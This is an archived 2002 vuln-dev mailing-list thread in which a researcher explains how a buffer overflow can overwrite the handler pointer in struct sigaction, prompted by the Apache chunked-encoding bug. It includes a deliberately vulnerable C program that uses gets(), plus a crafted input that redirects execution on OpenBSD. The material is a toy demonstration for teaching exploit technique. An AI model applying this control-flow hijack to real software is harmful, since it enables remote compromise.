fowarded
> -----Original Message-----
> From: Peter Werner
> Sent: Wednesday, June 19, 2002 4:38 PM
> To: 'KF'
> Subject: RE: ISS Advisory: Remote Compromise Vulnerability in Apache
> HTTP Server
>
>
> theres no papers that i know of, just an unfortunate
> knowledge of signals on my part, i really should get out more.
>
> this should help a bit:
>
> #include <sys/types.h>
> #include <signal.h>
> #include <stdio.h>
> #include <unistd.h>
>
> void hello(void);
> void func(void);
>
> int
> main(void)
> {
> printf("main %p, func %p, hello %p\n", main, func, hello);
>
> func();
>
> printf("main says good bye\n");
> return(0);
>
> }
>
> void
> func(void)
> {
> struct sigaction new;
> char buf[8];
>
> memset(&new, 0, sizeof(struct sigaction));
>
> gets(buf);
>
> sigaction(SIGUSR1, &new, NULL);
>
> kill(getpid(), SIGUSR1);
> }
>
> void
> hello(void)
> {
> printf("hello world!\n");
> }
>
> this is on intel openbsd
>
> [phf|sig]$ cc -o vuln vuln.c
> vuln.c:29: warning: gets() is very unsafe; consider using fgets()
> [phf|sig]$ ./vuln
> main 0x17c8, func 0x180c, hello 0x186c
> hi <-- type some input
> User defined signal 1
> [phf|sig]$
>
> so hello is at 0x186c. we will overflow buf (8 bytes) then
> the start of the struct sigaction with the address we want to
> jump to 0x186c (this would be the address of the shellcode in
> a real exploit)
>
> [phf|sig]$ printf "AAAAAAAA\x6c\x18" |./vuln
> main 0x17c8, func 0x180c, hello 0x186c
> hello world!
> main says good bye
> [phf|sig]$
>
> for reference, struct sigaction is defined on openbsd as follows
>
> struct sigaction {
> union { /* signal handler */
> void (*__sa_handler)(int);
> void (*__sa_sigaction)(int, siginfo_t *, void *);
> } __sigaction_u;
> sigset_t sa_mask; /* signal mask to apply */
> int sa_flags; /* see signal options below */
> };
>
> so in the exploit we overwrite the function pointer
> (__sa_handler) which will be installed in sigaction() call.
> im pretty sure (but not 100%) that the sigaction call has to
> come after the overflow. pretty simple really.
>
> -pete
> -----Original Message-----
> From: KF [mailto:dotslashat_private]
> Sent: Wednesday, June 19, 2002 3:50 AM
> To: Peter Werner
> Subject: Re: ISS Advisory: Remote Compromise Vulnerability in Apache
> HTTP Server
>
>
> Great ... thats what I was looking for ... I certainly appreciate the
> help. Any ideas on how to properly execute this theory? Any
> papers out
> there anywhere?
> -KF
>
>
> Peter Werner wrote:
>
> >sigaction adds a new signal handler while saving the old
> handler, its used
> >in libraries and stuff that want to handle certain signals
> and also pass
> >them on to the user process that called the library
> function. on openbsd the
> >first entry in struct sigaction is the function pointer, on
> solaris 7 its
> >the second (comes after an int). so in theory you could
> overwrite that
> >function pointer in act with the address of your shellcode
> and post the
> >correct signal to that process which would jump to the shellcode.
> >
> >-pete
> >
> >-----Original Message-----
> >From: KF [mailto:dotslashat_private]
> >Sent: Tuesday, June 18, 2002 8:18 AM
> >To: vuln-devat_private
> >Subject: Re: ISS Advisory: Remote Compromise Vulnerability in Apache
> >HTTP Server
> >
> >
> >During some testing of the apache issues with chunked
> encoding I noted
> >that on my Linux x86 based install of apache just before the child
> >process exits
> >some of the arguments that are passed to int sigaction(int signum,
> >const struct sigaction *act, struct sigaction *oldact); and int
> >sigemptyset(sigset_t *set); have had their arguments
> overwritten... in
> >the case of sigaction the signum was set to 10 or SIGUSR1
> and all other
> >arguments were overwritten with 0x41414141 I was wondering if this
> >could cause any added risk to the x86 versions of apache...
> maybe some
> >signaling ninja would help?
> >
> >The description of sigaction is really what caught my attention:
> >
> >The sigaction system call is used to change the action
> taken by a
> >process on receipt of a specific signal.
> >
> >-KF
> >
> >
>
>
>
This archive was generated by hypermail 2b30 : Wed Jun 19 2002 - 13:06:20 PDT